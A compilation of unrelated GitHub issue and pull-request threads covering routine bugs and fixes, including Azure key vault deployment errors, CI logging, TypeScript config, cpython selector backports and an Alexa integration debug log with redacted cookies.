made capabilities a map

Great progress.
Please make sure there are ready to merge PRs for the modules (Flight, copy sample, read sample) before this is merged.

Great progress.
Please make sure there are ready to merge PRs for the modules (Flight, copy sample, read sample) before this is merged.

@ronenkat All the modules defined as examples, tests, etc have been updated and are included in this PR.


Fresh installation gives OOPS Error 500: Keyword not supported

Describe the bug
A fresh new installation of this app presents error on the landing and administration pages
To Reproduce
Steps to reproduce the behavior:

Install new SaaS-Accelerator application as per instructions
Navitage to the Landing page
See error

Expected behavior
To present user with landing page
Screenshots
If applicable, add screenshots to help explain your problem.

Environment (please complete the following information):

Are you using the CloudShell - Yes

@CarlosGamez-Nova please re run with the latest install instructions(https://github.com/Azure/Commercial-Marketplace-SaaS-Accelerator/blob/main/docs/Installation-Instructions.md#basic-installation-script). We have not seen this happen. any further information might help us to analyze further.

Hi, we have the same issue following that exact same documentation.

@ekersale Can you please check the configuration of the app services and check to see what is the keyvault references looking like?

Ok so i think i found the issue. If there was an issue during the first deployment, and you rerun it for a second time, you have to ensure to purge manually the keyvault as it stay unpurged and block further recreation.

That's right, I am glad you found the issue. @ekersale
@CarlosGamez-Nova please let me know if you were able to fix your issue as well. As I mentioned, app service config is better place to start troubleshooting.

Hi,
Thank you for looking into this issue. @ekersale is correct. That's exactly what was causing the issue. I went through a manual purging of the keyvalut and reinstalled. Everything worked correctly after that.
Thanks again

Thank you for the confirmation @CarlosGamez-Nova. Closing this for now as a known limitation that we need to manually purge the key vault before running the script.

I just encountered this issue, but the configured key vault was active.  Both the portal and admin app services had the correct values listed for the SaaSApiConfiguration__ClientSecret environment variable and the DefaultConnection connection string.  There was a green checkmark next to the settings in the admin app service, but a red checkmark in the portal app service.  Clicking the "Pull reference values" button resolved the issue.
I did have a failed deployment the first time I ran Deploy.ps1 due to me not being aware that a deleted key vault may still need to be purged (I had previously subscribed to the Marketplace offer for the SaaS Accelerator before using this repository).  I used a different value for the WebAppNamePrefix parameter during my second deployment, but I did run the script in the same PowerShell cloud console.
It would be helpful if the deployment script either checked that the specified WebAppNamePrefix doesn't collide with an existing key vault or if the script generated a unique name, extension, etc.  In any case, this project was extremely helpful for quickly getting a Marketplace offer up and running!


Fix:RDS:add DBParameterGroupArn in describe-db-parameter-groups & cre…

Fix:RDS:add DBParameterGroupArn in describe-db-parameter-groups & create-db-parameter-group
https://github.com/localstack/localstack/issues/3219

Coverage decreased (-0.5%) to 94.017% when pulling 5bde91c570c6057eba23cea48a549252641a5213 on usmangani1:LISSUE_3219 into 47dbad291e717059a93f5cf795a9be08cfc872cc on spulec:master.

This is now part of moto >= 1.3.16.dev154


Add tests

This repo needs tests.
We can chat more about this one.

sig-node.e2e tests are a good start imo.

So for the near term we should have the following :
Update test document
Enable base level automation with kube-conformance test + node.e2e
xref - https://github.com/heptio/kube-conformance/pull/13

We have other priorities I'm descoping from this milestone.


ZEVA - No emails being sent in test or prod environments

Describe the Bug
For approximately the last the last month no-one in government has received any email notifications from the ZEVA system in either test or prod. Julian looked into the issue but the problem is still persisting, at least in the current test environment. At the time emails stopped being sent we had been working to tidy up some of the email which were being sent in error. the two issues don't appear to be related but the timing is coincidental.
Agreed with Alex that he will now investigate the issue.
Expected Behaviour
Users expect to receive emails when they are signed up for them in the ZEVA system.
Actual Behaviour
User are not receiving any emails they are signed up for.
Implications
The notifications feature is not working to alert users to actions they need to take in the ZEVA system.
Steps To Reproduce
Steps to reproduce the behaviour:
User/Role:
Perform an action that's supposed to generate notification emails (e.g. initiate a credit transfer).
Wait for emails to be sent out to the people associated with the action.

Al and Alex discussed this is still not working. Putting the card back to in progress.

I'm getting emails, both bceid and idir. Do we need to test each individua transaction by role?

Things are looking really good. Couple last things to work out. This one in particular, if fixed would allow for a production release.
As an IDIR analyst processing a credit transfer to recommend to the director. If I add and Save a comment to the Director, both suppliers receive an email when they should not.
User: JADONALD
Action: Credit Transfer to Review
Description: when transfer partner approves credit transfer
Action: Credit Transfer Accepted by Transfer Partner
Description: when transfer partner accept a credit transfer

https://app.zenhub.com/files/223241604/14938c75-ba15-48b6-b4af-4bc7f9522b8f/download

Tim estimates 3 going into Klefki

Emails do not work in the dev environment - This needs to be tested in Test.

Working now in test environment.


google maps - label not showing on icon

I have a problem with label which places is on marker icon when I capturing screen of Google Maps.
On version 0.4.0 I have not problem like this, but quality of image is very poor. Each version higher then 0.4.0 doing take a screenshot with better quality but not display label on icon.
I am trying on change  z-index but for any combination this not works. Only when I move manually in DOM element with text above div with icon then  label display on screenshot. But it is not a fix, because it is dom generated by Google Maps API and I cannot replace order in dom by jQuery, there is no any id and class which I can attach.

I'm having the same problem too. Pls help

Why was this issue closed?

I figured out a solution. It turned out that this library is respecting the z-indexes but the browser isn't. It's possible that there's some CSS3 attributes google maps uses that makes the labels on top of the icons but you can fix the z-indexes by doing a jquery call. There are two divs siblings, one has all marker labels, the other has the markers. The z-index of the labels is lower than the markers. It turns out even if the child that contains the actual text is a high z-index if it's in a div who's z-index is lower than a sibling all children will be below that sibling no matter their z-index.
I did this for fix it for me:
    this.map = $('.gm-style>div:first>div')
    $(this.map[0]).css('z-index', 100);

before calling html2canvas. Not a beautiful fix, probably going to break at some point but it got it to work for me in internet explorer, it was already working fine in Chrome for me


Add strict true to tsconfig for checkout extensions

WHY are these changes introduced?
Fixes Shopify/checkout-web#17648
When a user chooses the Typescript flavour of checkout ui extension the typing rules are too loose for the IDE, leading to frustration for Partners.
EG: Some values received from the standard extension API will always be undefined unless the extension renders at a specific time in the checkout process. Without the strict rule, this is ignored by the IDE and it looks like the requested value should have something other than undefined. (See issue linked above).
WHAT is this pull request doing?
Adds "strict": true in the compilerOptions for the tsconfig.json that is generated for Typescript flavour checkout UI extensions.
How to test your changes?

Clone repo git clone https://github.com/Shopify/cli.git
cd cli -> pnpm install
git checkout add-strict-rule-checkout-ui-extensions
Run bin/create-test-app.js

Note that this command created a UI extension right after the app, you can CTRL + C that part, or wait until it's finished

cd into app directory
Generate a new extension - making sure to choose "Typescript React"
Open /app/extensions/extension-name in your editor
Check that tsconfig.json has the "strict": true option in  compilerOptions

Post-release steps

Measuring impact
How do we know this change was effective? Please choose one:

[x] n/a - this doesn't need measurement, e.g. a linting rule or a bug-fix
[ ] Existing analytics will cater for this addition
[ ] PR includes analytics changes to measure impact

Checklist

[x] I've considered possible cross-platform impacts (Mac, Linux, Windows)
[x] I've considered possible documentation changes
[x] I've made sure that any changes to dev or deploy have been reflected in the internal flowchart.

/shipit


Support for many clozures within a single flashcard

Overview
Currently, a flashcard can only have one cloze and the rest are treated as highlights. This PR hides and treats all possible clozures. The new system is also simpler and allows more characters to be easily added or removed in the future.
Note: I accidentally created a new branch from my previous PR which results in the weird commit history. View the files changed for a better overview...
Changed behaviour
Before
creates two flashcards
many text
such surprise [...] more ==text==
some text after

many text
such surprise ==wow== more [...]
some text after

After
many text
such surprise [...] more [...]
some text after

Addresses
#486

This should fix #486

Yeah, I'm currently working on implementing an Anki card parser which could be an alternative to this PR. However, a global switch (like implemented within this PR) isn't ideal, so I might not merge unless someone can think of a more intuitive solution.

Going to work on re-creating this.


'Enter OpenAI key' resulted in an error (Not enough memory resources...)

When entering an OpenAI API key, the Rubberduck extension returns the error:
Command 'Rubberduck: Enter OpenAI key' resulted in an error (Not enough memory resources are available to process this command)
To recreate: through the CTRL+SHIFT+P menu, select 'Rubberduck: Enter OpenAI key' and type your key. After hitting enter, the error message will pop up.
Interestingly, entering the API key through the 'Enter Key' button doesn't result in an error pop up, though doesn't appear to do much at all. Initially I though this was a result of using VScodium, but got the same error when trying in VScode.
I would expect this command to function correctly without error, as there is ~5gb RAM available on the machine as the error occurs.

Furthermore, would I be correct in assuming there should be something in the logs at: "C:\**\AppData\Roaming\Code\logs\*\window1\exthost\output_logging_*\3-Rubberduck.log"? As the file present is 0kb.
Version impacted: 1.12.0

Thanks for the bug report!
I could not reproduce it, but I'm on Mac and it seems that you are using Windows. Did it show the "OpenAI API key stored." message popup when you entered the key (either successfully or unsuccessfully?

That's correct, here is the 'about' from VScodium:
Version: 1.75.1 (user setup)
Release: 23040
Commit: c6a9727b801542499d2b59cb7db4224e060fc578
Date: 2023-02-09T22:46:15.410Z
Electron: 19.1.9
Chromium: 102.0.5005.167
Node.js: 16.14.2
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.19044
Sandboxed: No
Unfortunately no pop up when entering the key into either the command palette, or the button (textbox).
That said, I can get popups from Rubberduck, for example clearing the key I get 'OpenAI API key cleared.', or CTRL+ALT+E: 'Variable 'selectedText' is too short'.

I suspect it could be an infinite loop cause by an event mechanism we introduced recently to update the UI when you have entered your key: https://github.com/rubberduck-ai/rubberduck-vscode/blob/main/lib/extension/src/openai/ApiKeyManager.ts#L60
How comfortable would you be building Rubberduck yourself with that line disabled, to see if that fixes the issue on Windows?

Ah, interesting.
Probably a little shaky!
https://fedidat.com/320-installing-vscode-extensions-from-source/
Would the .vsix method as above be suitable? After disabling the 'messagEmitter' line?

Yes, you'd need to install the vsix after you package the extension.
You can find the basic build steps here: https://github.com/rubberduck-ai/rubberduck-vscode/blob/main/CONTRIBUTING.md
pnpm nx run vscode:package packages the extension and creates the .vsix file.
Please let me know if you have any questions. Your help is much appreciated!

I encounter the same issue with a new VSCode "portable" installation on macOS while trying to enter the OpenAI API Key in Rubberduck settings (access via the command prompt). The alert mentioned earlier appeared. The plugin workes fine in my main VSCode installation.


set ODO_LOG_LEVEL=4 on CIs

What type of PR is this?
/kind test
What does does this PR do / why we need it:
To make debugging failing tests easier this PR sets env variable ODO_LOG_LEVEL=4 on both our CIs (OpenShift CI, Travis). This should be equivalent to running all odo commands with -v 4.
How to test changes / Special notes to the reviewer:
When test on CI fails you should see verbose logs from odo in ci log output

@kadel is this only for Travis?

@kadel is this only for Travis?

Oh, good point.
I forgot to include files for OpenShift CI in the commit 😇
Thanks for noticing 👍

I doubt ODO_LOG_LEVEL=4 works. There is no -v4 level verbosity in the below failure.
 Running odo with args [odo push --source]
[odo] Validation
[odo]  •  Checking component  ...
[odo]  ✗  Checking component [271ms]
[odo]  ✗  Component nodejs does not exist and hence cannot push only source. Please use `odo push` without any flags or with both `--source` and `--config` flags
Running odo with args [odo push --config]
[odo] Validation
[odo]  •  Checking component  ...
[odo]
 ✓  Checking component [300ms]
[odo]
[odo] Configuration changes
[odo]  ✓  Initializing component
[odo]  •  Creating component  ...
[odo]
 ✓  Creating component [738ms]
[odo]
[odo] Applying URL changes
[odo]  ✓  URLs are synced with the cluster, no changes are required.
Running oc with args [oc get dc nodejs-nodejs-push-test --namespace ohcvzhbpwd]
[oc] Error in configuration:
[oc] * context was not found for specified context: qwbbhifrdg/api-ci-op-jwnbnv14-d9bf3-origin-ci-int-aws-dev-rhcloud-com:6443/developer
[oc] * cluster has no server defined
Deleting project: ohcvzhbpwd

/hold

iirc @mik-dass had similar observation few days back in one of his issue debugging. Can you please confirm ? may be we need to revisit the change for ODO_LOG_LEVEL.

@amitkrout It looks like jsonFlagValue is getting set to json by default (at least, it was in my debugging) which is causing the check here https://github.com/openshift/odo/blob/master/cmd/odo/odo.go#L54 to fail.

iirc @mik-dass had similar observation few days back in one of his issue debugging. Can you please confirm ?

I had exported the value in the Makefile which didn't work.

Also the above error seems to be coming from OC not ODO and I guess thus it didn't work.

@mik-dass  Ahh, my bad. Found a odo failure log but unfortunately copy paste another example. Anyway pasting the odo failure log
Running odo with args [odo create nodejs jffxqj --project xibhvcwsqa]
[odo] Experimental mode is enabled, use at your own risk
[odo]
[odo] Validation
[odo]  •  Checking devfile compatibility  ...
[odo]
 ✓  Checking devfile compatibility [88886ns]
[odo]  •  Validating devfile component  ...
[odo]
 ✓  Validating devfile component [457168ns]
[odo]
[odo] Please use `odo push` command to create the component with source deployed
Running odo with args [odo push --devfile devfile.yaml --build-command build --run-command run --project xibhvcwsqa]
[odo]
[odo] Validation
[odo]  •  Validating the devfile  ...
[odo]
 ✓  Validating the devfile [62224ns]
[odo]
[odo] Creating Kubernetes resources for component jffxqj
[odo]  •  Waiting for component to start  ...
[odo]  ✗  Waiting for component to start [5m]
[odo]  ✗  Failed to start component with name jffxqj.
[odo] Error: Failed to create the component: error while waiting for deployment rollout: timeout while waiting for jffxqj deployment roll out
Deleting project: xibhvcwsqa

/retest

/retest

This is already taken care of in https://github.com/openshift/odo/blob/master/Makefile#L30
It was just broken.
It got fixed by @johnmcollier in  https://github.com/openshift/odo/pull/3121 🎉
this pr not needed
/close


Error: Exception InvalidRequestError

Every action throws an error "Error: Exception InvalidRequestError". It doesn't matter if I copy or open my works

Did you get the new version ?


More DateTime functions and changes

Add unixepoch, julianday and strftime DateTime functions.
Allow passing all supported modifiers to date / datetime / time (breaking).

Kind of expected this might fail. Its a timezone issue

Not sure how to fix it

Done unless you'd like some more tests

I also considered doing what you suggested so I'm happy to make those changes.

I'm a bit unsure about exposing modifiers as parameters on the formatting functions though. If one wants to use modifiers, it looks like the unix modifier always needs to come first? The assumption in most parts of drift is that "DateTime in SQL= unix timestamp" and since these methods are extensions on Expression, it's always going to have that format.

I wasn't sure if having a custom datetime converter with e.g a ISO-8601 string would work with the datetime columns

I think the API is a lot cleaner / easier to understand with your suggestions though maybe a little less flexible. Before I think you could have a column with a custom DateTime TypeConverter and you could apply the modifiers to make it work with DateTimeExpressions. It wasn't very nice, but it was possible. But as you said, Drift generally assumes you're using the unixepoch format so I'm happy as it is.
Should I comment out / remove DateTimeModifier.julianDay() and const DateTimeModifier.auto()? I can't see a use for them. Just double checking if i've missed a use case for them.

Doing dartCast() on something that isn't a unix timestamp has always been pretty dangerous because all the date time expressions expect that format and happily add a unixepoch modifier everywhere.

One option would be to add date, time, datetime, unixepoch, julianday to Expression<int?> without the implied unixepoch modifier.

Something like:
///
extension IntDateTimeExpressions on Expression<int?> {
  /// Applies modifiers that alters the date and/or time. Each modifier is a
  /// transformation that is applied to the time value to its left. Modifiers
  /// are applied from left to right; order is important.
  Expression<DateTime?> toDateTime(Iterable<DateTimeModifier> modifiers) =>
      FunctionCallExpression('strftime', [
        const Constant<String>('%s'),
        this,
        ...modifiers
      ]);
}

///
extension StringDateTimeExpressions on Expression<String?> {
  /// Applies modifiers that alters the date and/or time. Each modifier is a
  /// transformation that is applied to the time value to its left. Modifiers
  /// are applied from left to right; order is important.
  Expression<DateTime?> toDateTime(Iterable<DateTimeModifier> modifiers) =>
      FunctionCallExpression('strftime', [
        const Constant<String>('%s'),
        this,
        ...modifiers
      ]);
}

Though I'm happy to consider this done.


Exception in case calling new PDDocument()

After calling of PDDocument document = new PDDocument();
I'm getting the following error:
java.lang.NoClassDefFoundError: Failed resolution of: Ljava/awt/Point;
at org.apache.pdfbox.pdmodel.PDDocument.(PDDocument.java:107)
which points to the following code line:
WritableRaster raster = Raster.createBandedRaster(DataBuffer.TYPE_BYTE, 1, 1, 3, new Point(0, 0));

Android specific issue due to java.awt dependency


Fixed/Updated Github Profile URL of Bjørn Erik Pedersen (bep)

bep's github profile url was set to spf13's.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Docs/all contributors

Adding contributors section on the README.md!

You can also see it by going to https://github.com/JasonShin/kalimdorjs/tree/docs/all-contributors#contributors

@JasonShin   I think we should specify github profiles as links for everyone.

@JasonShin I think we should always use github profiles as links.

Good suggestion, I will update them soon

@OlegStotsky Your suggestion is now implemented, please have a look thanks =)


feat: added config options to change what code editor will be opened based on the files inside

I have several projects that need to be opened in different code editors. Some I need in VSCode, some in Xcode and some in Android Studio. I tweaked the script a bit on my local machine to check the file extensions inside the folder and determine what editor to use based on that.
My config code looks like this:
xed=.xcodeproj,.xcworkspace
studio=.gradle
code=*

In this case iOS projects get opened in Xcode, projects with a gradle file in them in Android Studio and all others in VSCode.
It only searches the top level to keep up performance and make sure some file nested deep in the folder doesn't accidentally match. Order of the list matters, once a match has been found the script will continue and won't check the other options.
I think the performance impact is minimal, but I am testing this on a M2 Macbook Pro so my observations are probably skewed.

Great PR!
But storing config in a file is not a good idea, I'd like to take advantage of alfred's workflow configurations.
I'll merge this first, then make some minor changes and do a final release. Stay tuned.

I've made a few improvements:

support comments in configuration
support case-insensitive compare in `parseEditorCliConfig
improve performance

You don't use a file to store config, sorry for my mistake.
I'm going on holiday, I'll make a final release when I'm back.

Awesome, improvements look good 🙌

It has been released in v1.0.3, can be updated from the Afred Gallery.


Backport selector performance improvements from cpython

Backported PRs

https://github.com/python/cpython/pull/106665
https://github.com/python/cpython/pull/106555
https://github.com/python/cpython/pull/106754
https://github.com/python/cpython/pull/106528

there were a few more improvements that happened by others as a result of the discussion from those PRs but I only included the ones I've been running on my production that made a significant difference.

Verified they apply cleanly
bdraco@MacBook-Pro-9 cpython % git checkout v3.11.4
Note: switching to 'v3.11.4'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at d2340ef257 Python 3.11.4
bdraco@MacBook-Pro-9 cpython % git checkout am_test
error: pathspec 'am_test' did not match any file(s) known to git
bdraco@MacBook-Pro-9 cpython % git checkout -b am_test
Switched to a new branch 'am_test'
bdraco@MacBook-Pro-9 cpython % git am ~/docker-base/python/3.11/*.patch
Patch format detection failed.
bdraco@MacBook-Pro-9 cpython % git am ~/docker-base/python/3.11/gh*.patch
Applying: gh-106527: asyncio: optimize to add/remove readers and writers (#106528)
Applying: gh-106554: replace `_BaseSelectorImpl._key_from_fd` with `dict.get` (#106555)
Applying: gh-106664: selectors: add get() method to _SelectorMapping (#106665)
Applying: gh-106751: selectors: optimize EpollSelector.select() (#106754)

There are two patches that are failing but have been for a while that can probably be removed, but not for this PR
#8 34.64 patching file Modules/_sha3/sha3module.c
#8 34.65 Hunk #1 FAILED at 64.
#8 34.65 1 out of 1 hunk FAILED -- saving rejects to file Modules/_sha3/sha3module.c.rej
#8 34.71 patching file Modules/posixmodule.c
#8 34.73 Hunk #1 FAILED at 234.
#8 34.73 1 out of 1 hunk FAILED -- saving rejects to file Modules/posixmodule.c.rej

thanks


Train on completions only by fixing the collator inquiry

Hello,
I was wondering if I would be able to use the DataCollatorForCompletionOnlyLM to train Llama 3.2 vision model on the generated prompts only?
Something like passing a response template and the tokenizer in this code:
response_template = " ### Answer:"
collator = DataCollatorForCompletionOnlyLM(response_template, tokenizer=tokenizer)

I see that in the provided code they are using data_collator = UnslothVisionDataCollator(model, tokenizer) and indicating it is a must use. So can I see it and edit to serve my purpose of training which is computing the loss only on the generated token?

Apologies on the delay! Oh you're better off using our conversational notebook which masks instructions out - https://colab.research.google.com/drive/1T5-zKWM_5OD21QHwXHiV9ixTRR7k3iB9?usp=sharing
from unsloth.chat_templates import train_on_responses_only
trainer = train_on_responses_only(
    trainer,
    instruction_part = "<|start_header_id|>user<|end_header_id|>\n\n",
    response_part = "<|start_header_id|>assistant<|end_header_id|>\n\n",
)

Thank you for your response @danielhanchen , but inputs must be text-only for train_on_responses_only right?
What when working with multimodal models like llama3.2 what shall I do?


Add some kind of "choose port" error message on start up if port already in use, instead of "[error 48] address already in use"

Macs use port 5000 for airplay, so some mac users are getting the unhelpful message "[error 48] address already in use" when running python -m lute.main.
If the startup throws an error due to the port already being in use, user should get a useful error message, like
address already in use, please try adding a --port parameter (eg python -m lute.main --port 9876)"

Merged in develop, thanks to @barash-asenov.


Fix BadZipFile error during pytest runs in Github Actions workflows

Reason for bug identified:
Error thrown as zipfiles in repo were not pulled from git lfs before running pytest.
Solution:
Included step that runs git lfs pull before running pytest in codecov and test worflows. c55afe8f658bcf571985e50de4e930e79db74a79


pass get_export_resource_kwargs() to Resource constructor

Problem
Closes #1738
Solution
Pass get_export_resource_kwargs() to Resource constructor to code block added in #1685.
Acceptance Criteria

Added test
Manual testing

coverage: 100.0%. remained the same
when pulling 00e322d6645cc5fa70e6a6142cb19b9ff1e6ecd6 on matthewhegarty:issue-1738-get-resource-kwargs
into b19329a3b3a5f0c1673e893e53463b0c707acaa8 on django-import-export:main.


No Alexa devices

Describe the bug
No Alexa devices appear when doing integration
To Reproduce
Steps to reproduce the behavior:
Lost all Alexa devices. Cleared configuration, Alexa_media_player, etc along with pickle and restarted. Re-add no devices populated.
2020-04-10 15:25:43 ERROR (MainThread) [homeassistant.components.alexa.state_report] Timeout sending report to Alexa.
2020-04-10 15:24:15 ERROR (MainThread) [homeassistant.core] Error doing job: Task exception was never retrieved
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/site-packages/alexapy/alexawebsocket.py", line 152, in process_messages
    await self.on_message(cast(bytes, msg.data))
  File "/usr/local/lib/python3.7/site-packages/alexapy/alexawebsocket.py", line 234, in on_message
    await self.msg_callback(message_obj)
  File "/config/custom_components/alexa_media/__init__.py", line 926, in ws_handler
    login_obj, no_throttle=True
  File "/config/custom_components/alexa_media/__init__.py", line 469, in update_devices
    await process_notifications(login_obj, raw_notifications)
  File "/config/custom_components/alexa_media/__init__.py", line 613, in process_notifications
    n_time = notification["originalTime"]
KeyError: 'originalTime'
2020-04-10 15:24:36 ERROR (MainThread) [homeassistant.core] Error doing job: Unclosed client session

Expected behavior
Working integration of alexa_media player
Screenshots
If applicable, add screenshots to help explain your problem.
System details

Home-assistant (version): 108.2
Hassio (Yes/No): (Please note you may have to restart hassio 2-3 times to load the latest version of alexapy after an update. This looks like a HA bug).
alexa_media  (version from const.py or HA startup): 2.5.12
alexapy (version from pip show alexapy or HA startup):

Logs
Please provide logs. We'll be most likely asking for them anyway.
Additional context
Add any other context about the problem here.

Same issue for me.  Started Wednesday night (~10 pm PT) and haven't been able to get entities back.  Originally running HAss.io 1.107.7 with alexa_media_player version 2.5.11.  Upgraded to alexa_media_player v2.5.12 and lost all Alexa entities.  A chunk of my log is attached:
home-assistant.log
I downgraded alexa_media_player back to v2.5.11 and continued to have the same issue.  After wrestling with my server, trying to restore a full snapshot from two days prior and continued to have the same problem - the existing entities were "unavailable".  I decided to do a full rebuild of my server from scratch and found HAss.io on 1.108.2.  I tried using alexa_media_player v2.5.11 and 2.5.12, neither of which would see my Alexa devices.

Please provide logs. This should've been resolved in 2.5.12.

2020-04-10 04:05:08 WARNING (MainThread) [homeassistant.loader] You are using a custom integration for alexa_media which has not been tested by Home Assistant. This component might cause stability problems, be sure to disable it if you experience issues with Home Assistant.
2020-04-10 04:05:08 WARNING (MainThread) [homeassistant.loader] You are using a custom integration for hacs which has not been tested by Home Assistant. This component might cause stability problems, be sure to disable it if you experience issues with Home Assistant.
2020-04-10 04:05:10 DEBUG (MainThread) [custom_components.alexa_media.helpers] alexa_media.async_setup_entry: Trying with limit 5 delay 5 catch_exceptions True
2020-04-10 04:05:10 INFO (MainThread) [custom_components.alexa_media]
-------------------------------------------------------------------
alexa_media
Version: 2.5.12
This is a custom component
If you have any issues with this you need to open an issue here:
https://github.com/custom-components/alexa_media_player/issues
-------------------------------------------------------------------

2020-04-10 04:05:10 INFO (MainThread) [custom_components.alexa_media] Loaded alexapy==1.5.2
2020-04-10 04:05:10 DEBUG (MainThread) [alexapy.alexalogin] Trying to load pickled cookie from file<EMAIL_ADDRESS>2020-04-10 04:05:13 DEBUG (MainThread) [alexapy.alexalogin] cookie loaded: <class 'collections.defaultdict'> defaultdict(<class 'http.cookies.SimpleCookie'>, {'amazon.com': <SimpleCookie: at-main='<redacted>' csrf='<redacted>' sess-at-main='<redacted>' session-id='<redacted>' session-id-time='<redacted>' session-token='<redacted>' ubid-main='<redacted>' x-main='<redacted>'>})
2020-04-10 04:05:14 DEBUG (MainThread) [alexapy.alexalogin] Trying to load aiohttpCookieJar to session
2020-04-10 04:05:14 DEBUG (MainThread) [alexapy.alexalogin] Updating self._cookies with amazon.com session cookies:
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: session-id=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: session-id-time=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: ubid-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age:630720000 session-token=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: x-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: at-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age:630720000 sess-at-main=<redacted>
amazon.com: expires:Wed, 10-Apr-2030 10:48:37 GMT max-age: csrf=<redacted>

2020-04-10 04:05:14 DEBUG (MainThread) [alexapy.alexalogin] Loaded 8 cookies
2020-04-10 04:05:16 DEBUG (MainThread) [alexapy.alexalogin] GET:
https://alexa.amazon.com/api/bootstrap with
<CIMultiDictProxy('Host': 'alexa.amazon.com', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': '*', 'Accept-Encoding': 'gzip, deflate', 'Cookie': 'at-main=<redacted>; csrf=<redacted>; sess-at-main="<redacted>"; session-id=<redacted>; session-id-time=<redacted>; session-token="<redacted>"; ubid-main=<redacted>; x-main=<redacted>')>
 returned 200:OK with response <CIMultiDictProxy('Content-Type': 'application/json', 'Content-Length': '144', 'Connection': 'keep-alive', 'Server': 'Server', 'Date': 'Fri, 10 Apr 2020 11:05:15 GMT', 'x-amzn-RequestId': '<redacted>', 'Content-Encoding': 'gzip', 'x-amz-rid': '<redacted>', 'Vary': 'Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent', 'X-Cache': 'Miss from cloudfront', 'Via': '<redacted> (CloudFront)', 'X-Amz-Cf-Pop': '<redacted>', 'X-Amz-Cf-Id': '<redacted>')>
2020-04-10 04:05:16 DEBUG (MainThread) [alexapy.alexalogin] Logged in as <redacted>
2020-04-10 04:05:16 DEBUG (MainThread) [alexapy.alexalogin] Using cookies to log in
2020-04-10 04:05:16 DEBUG (MainThread) [alexapy.alexalogin] Log in successful with cookies
2020-04-10 04:05:16 DEBUG (MainThread) [alexapy.alexalogin] Updating self._cookies with amazon.com session cookies:
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: session-id=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: session-id-time=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: ubid-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age:630720000 session-token=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: x-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: at-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age:630720000 sess-at-main=<redacted>
amazon.com: expires:Wed, 10-Apr-2030 10:48:37 GMT max-age: csrf=<redacted>

2020-04-10 04:05:16 DEBUG (MainThread) [custom_components.alexa_media] Testing login status: {'login_successful': True}
2020-04-10 04:05:16 DEBUG (MainThread) [custom_components.alexa_media] Setting up Alexa devices for <redacted>
2020-04-10 04:05:16 DEBUG (MainThread) [custom_components.alexa_media] <redacted>: Websocket created: <alexapy.alexawebsocket.WebsocketEchoClient object at 0x6d87c230>
2020-04-10 04:05:16 DEBUG (MainThread) [alexapy.alexawebsocket] Connecting to wss://dp-gw-na-js.amazon.com/?x-amz-device-type=<redacted>&x-amz-device-serial=<redacted>-1586516716000 with {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': '*', 'Referer': 'https://alexa.amazon.com/api/bootstrap', 'Cookie': 'session-id=<redacted>; session-id-time=<redacted>; ubid-main=<redacted>; session-token=<redacted>; x-main=<redacted>; at-main=<redacted>; sess-at-main=<redacted>; csrf=<redacted>; ', 'Origin': 'https://alexa.amazon.com'}
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Initating Async Handshake.
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Starting message parsing loop.
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Received WebSocket: <redacted> {"protocolName":"A:H","parameters":{"AlphaProtocolHandler.supportedEncodings":"GZIP","AlphaProtocolHandler.maxFragmentSize":"16000","AlphaProtocolHandler.receiveWindowSize":"16"}}TUNE
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Encoding WebSocket Handshake MSG.
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Encoding Gateway Handshake MSG.
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Received WebSocket: MSG <redacted> END FABE
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Received ACK MSG for Registration.
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Encoding Gateway Register MSG.
2020-04-10 04:05:18 DEBUG (MainThread) [alexapy.alexawebsocket] Encoding PING.
2020-04-10 04:05:19 DEBUG (MainThread) [custom_components.alexa_media] <redacted>: Websocket succesfully connected
2020-04-10 04:05:19 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/bootstrap returned 200:OK:application/json
